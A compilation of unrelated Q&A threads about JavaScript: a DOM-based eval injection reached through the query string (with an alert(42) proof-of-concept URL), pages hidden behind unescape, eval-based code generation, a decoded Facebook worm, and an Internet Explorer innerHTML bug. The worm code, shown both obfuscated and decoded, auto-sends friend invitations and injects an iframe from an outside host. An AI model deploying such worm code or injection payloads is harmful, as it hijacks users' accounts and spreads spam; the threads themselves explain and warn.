I'm trying to grasp JavaScript DOM-based injection attacks better, so I would appreciate some input on this.
I have this output from Burpsuite as "firm" indicating it should be something here.
So the the main page loads a .js file with the code below.
Data is read from document.location and passed to eval() via the following statements:
var _9f=document.location.toString();
var _a0=_9f.split("?",2);
var _a1=_a0[1];
var _a2=_a1.split("&");
var sp=_a2[x].split("=");
djConfig[opt]=eval(sp[1]);
If I understand this correctly, it gets the content after '?' in the url, then splits the parameters after '=' and then evals the second array of that. So www.domain.tld?first=nothing&second=payload, is that correct?
Given that it's already inside of a js file, I'd assume I don't need the < script > tags in the payload? I really can't get it to fire anything so I'm doing it wrong obviously. Would appreciated some input to understand this better, not just a code snippet but some explanation would be great.
...it gets the content after '?' in the url, then splits the parameters after '=' and then evals the second array of that...
Almost. It gets the part of the string after the first ?, splits that into an array of parameters (by splitting on &), then gets the value of the xth parameter (the one at index x), splits it to get its value, and evals that.
This means the page executes code entered into it via the query string, which means Mary can give Joe a URL with code in it that will then execute within the page when Joe opens it, which is a potential security risk for Joe.
Say x is 2. This URL would show an alert: http://example.com/?a=1&b=2&c=alert(42)
var x = 2;
var _9f="http://example.com/?a=1&b=2&c=alert(42)";
var _a0=_9f.split("?",2);
var _a1=_a0[1];
var _a2=_a1.split("&");
var sp=_a2[x].split("=");
/*djConfig[opt]=*/eval(sp[1]);
Here's an example on JSBin: https://output.jsbin.com/cibusixeqe?a=1&b=2&c=alert(42)
How big a risk it is depends on what page this code is in.
Since the code doesn't use decodeURIComponent there are limits on what the code in the query string can be, though they can probably be worked around...
I've see a web page that when I try to view the source, I only see a single JavaScript statement. I searched and could not figure out how they have done that. you can do and see yourself.
The web page is: Weird Page
when I view the source I only see something like below which also looks like a comment:
<script type='text/javascript' language='Javascript'>
<!--document.write(unescape('%3C%2........................
................
How they have done that? How I can change my web page so when someone view the source it look like that?
This article may help to clarify what's happening there.
Basically, this company has encoded their entire page using standard escape characters. If you copy the bit from unencode(...) all the way to the next to last parens, and paste it into your browser console, you'll see the actual HTML content.
If you look at the source code for the page I linked, you'll see the function that converts normal text to all escape characters:
// CONVERTS *ALL* CHARACTERS INTO ESCAPED VERSIONS.
function escapeTxt(os){
var ns='';
var t;
var chr='';
var cc='';
var tn='';
for(i=0;i<256;i++){
tn=i.toString(16);
if(tn.length<2)tn="0"+tn;
cc+=tn;
chr+=unescape('%'+tn);
}
cc=cc.toUpperCase();
os.replace(String.fromCharCode(13)+'',"%13");
for(q=0;q<os.length;q++){
t=os.substr(q,1);
for(i=0;i<chr.length;i++){
if(t==chr.substr(i,1)){
t=t.replace(chr.substr(i,1),"%"+cc.substr(i*2,2));
i=chr.length;
}
}
ns+=t;
}
return ns;
}
What is happening is pretty much what it sounds like. The server is serving a single <script> element, which contains an HTML comment to make it easier for browser that don't support JS (read more here: Why does Javascript ignore single line HTML Comments?), and in the comment it's writing to the document the unescaped version of the string, which is sent escaped.
We write js programs for clients which allow them to craft the display text. Here is what we did
We have a raw js file which replaced those strings with tokens, for example
month = [_MonthToken_];
name = '_NameToken_';
and have a xml file to allow user to specify the text like
<xml>
<token name="MonthToken">'Jan','Feb','March'</token>
<token name="NameToken">Alice</token>
</xml>
and have a generator to replace the token with the text and generate the final js file.
month = ['Jan','Feb','March'];
name = 'Alice';
However, I found there is a bug in this scenario. When somebody specifies the name to be "D'Angelo" (for example.) the js will run into a error because the name variable will become
name='D'Angelo'
We have thought of several ways to fix the problem but none of which are perfect.
We may ask our clients to escape the characters, may it seems not appropriate given that they may not know js and there are more cases to escape (", ), which could make them unhappy :|
We also think of changing the generator to escape ', but sometimes the text may be replacing an array, the single quote there should not be escaped. (there are other cases, we may detect it case by case, but it is tedious)
We may have done something wrong for the whole scenario/architecture. but we don't want to change that unless we have confirmed that it is definitely necessary.
So, is there any solution? I will look into every ideas. Thank you in advanced!
(I may also need a better title :P)
I think your xml schema is poor designed, and this is the root cause of your problems.
Basically, you are forcing the author of the xml to put Javascript code inside of the name="MonthToken" element, while you pretend that she can do this without Javascript syntax knowledgement. I guess that you are planning to use eval on the parsed element content to build month and name variables.
The problem you discovered it's not the only one: you also are subject to Javascript code injection: what if a user forge an element such as:
<token name="MonthToken">alert('put some evil instruction here')</token>
I would suggest to change the xml schema in this way:
<xml>
<token name="MonthToken">Jan</token>
<token name="MonthToken">Feb</token>
<token name="MonthToken">March</token>
<token name="NameToken">Alice</token>
</xml>
Then in your generator, you'll have to parse each MonthToken element content, and add it to the month array. Do the same for the name variable.
In this way:
You don't use eval, and so you have no possibility of code injection
Your user doesn't no more have to know how to quote month names
You automatically handle quotes or apostrophe in names, because you are not using them as js code.
If you want month variable to become a string when user enter just a month, then simply transform the variable: with something similar to this:
if (month.length == 1) {
month = month[0];
}
Note that I am not experienced with Javascript. If a javascript code starts like this:
javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
Then is it compiled? If so, any way of decompiling it? If it is not compiled, then any help on how to read this type of code?
Any help would be greatly appreciated.
EDIT:
Thank you all for the kind responds. And wow, I had no idea that I would get replied this quickly, kudos to Stackoverflow.
Nevertheless, can anyone help me make this more readible than:
var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
"\x73\x75\x67\x67\x65\x73\x74",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").
This looks like obfuscated JavaScript — whoever put it up doesn’t want it to be easily read. Without meaningful variable names, it will be difficult to understand (i.e. what does _0x89f8 mean?).
The string parameters are escaped strings: \x69 is the hex for the character i etc.
Copy-paste the following to your browser console (dev tools) (hit F12) to see how it looks:
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"
Chances are that the function being called builds up a JavaScript string from the parameters and then calls eval on them.
You'll find these on Facebook a LOT.
They're usually not this obfuscated though, and normally deal with friend invitations or something along those lines.
I hardly ever execute javascript in the address line so I never checked further into any of these.
This means I have no idea if this is malicious...
You can use this http://jsbeautifier.org/ tool to unobfuscate the code auto magically (well, at least partially)...
var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);
becomes....
var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
fs[variables[10]]();
}, 4000);
void setTimeout(function () {
SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');
using default settings...
For this one in particular though I had to have access to the FB page to get ALL of the javascript (I'm digging further)...
Thankfully the Wife always asks before executing javascript in the address line (she found the javascript just this evening).
Kris
No this javascript is not compiled, the "strange" text you see is encoded text. For example
\x69 equals the letter i
It's a differant notation for normal letters and other characters (#,/ etc). And used to make text harder to read, or when using strange/unusual characters in strings for example.
The function escape() will go from i to \x69 .As where the function unescape() will go from \x69 back to the letter i.
The above code example is just an array of encoded strings.
It is an obfuscated JS code.
If something is a JS source code, it is never compiled, even if it looks unreadable.
There are many JS code obfuscators or minimizers exist.
Can you identify which program generated it?
This code appears to be part of a facebook worm.
Well, I have to admit, I was curious enough that I opened a new facebook profile to find out what this thing does...
after reading the un-obfuscated code you can determine that this script will automatically open your Friend's list, and suggest just this Facebook page to all your friends (the amount allowed, of course). Therefor sending out invitations (unknowingly) to all of your friends, which some will undoubtedly continue...
Simply put, don't copy any JavaScript lines without knowing who posted them in the first place. :)
The webpage is here:
http://develop.macmee.com/testdev/
I'm talking about when you click the ? on the left, it is supposed to open up a box with more content in it. It does that in every browser except IE!
function question()
{
$('.rulesMiddle').load('faq.php?faq=rules_main',function(){//load page into .rulesMiddle
var rulesa = document.getElementById('rulesMiddle').innerHTML;
var rules = rulesa.split('<div class="blockbody">');//split to chop off the top above rules
var rulesT = rules[1].split('<form class="block');//split to chop off below rules
rulesT[0] = rulesT[0].replace('class=','vbclass');//get rid of those nasty vbulletin defined classes
document.getElementById('rulesMiddle').innerHTML = rulesT[0];//readd the content back into the DIV
$('.rulesMain').slideToggle();//display the DIV
$('.rulesMain').center();//center DIV
$('.rulesMain').css('top','20px');//align with top
});
}
IE converts innerHTML contents into upper case, so you probably are not able to split the string this way, as string operations are case sensitive. Check what the contents really looks like by running
alert(rulesa);
Andris is right. And that's not all. It'll also throw away the quotes in attributes.
It is completely unreliable to make any assumptions about the format of the string you get from innerHTML; the browser may output it in a variety of forms — some of which, in IE's case, are not even valid HTML. The chances of you getting back the same string that was originally parsed are very low.
In general: HTML-string-hacking is a shonky waste of time. Modify HTML elements using their node objects instead. You seem to be using jQuery, so you've got loads of utility functions to help you.
In any case you should not be loading the whole HTML page into #rulesMiddle. It includes a load of scripts and stylesheets and other header nonsense that can't go in there. jQuery allows you to pick which part of the document to insert; you seem to just want the first .blockbody element, so pick that:
$('#rulesMiddle').load('faq.php?faq=rules_main .blockbody:first', function(){
$('#rulesMiddle .blockrow').attr('class', '');
$('.rulesMain').slideToggle();
$('.rulesMain').css('top', '20px');
});
My IE debugger throws an error on your script when I click that button. On this line:
var rulesT = rules[1].split('<form class="block');//split to chop off below rules
IE stops processing the Javascript and says '1' is null or not an object
Don't know if you solve it, but it work's on my Ugly IE ... (its an v8)
Btw: It's me, or does pop-up widows wen open are really, really, really slowing down that platform ?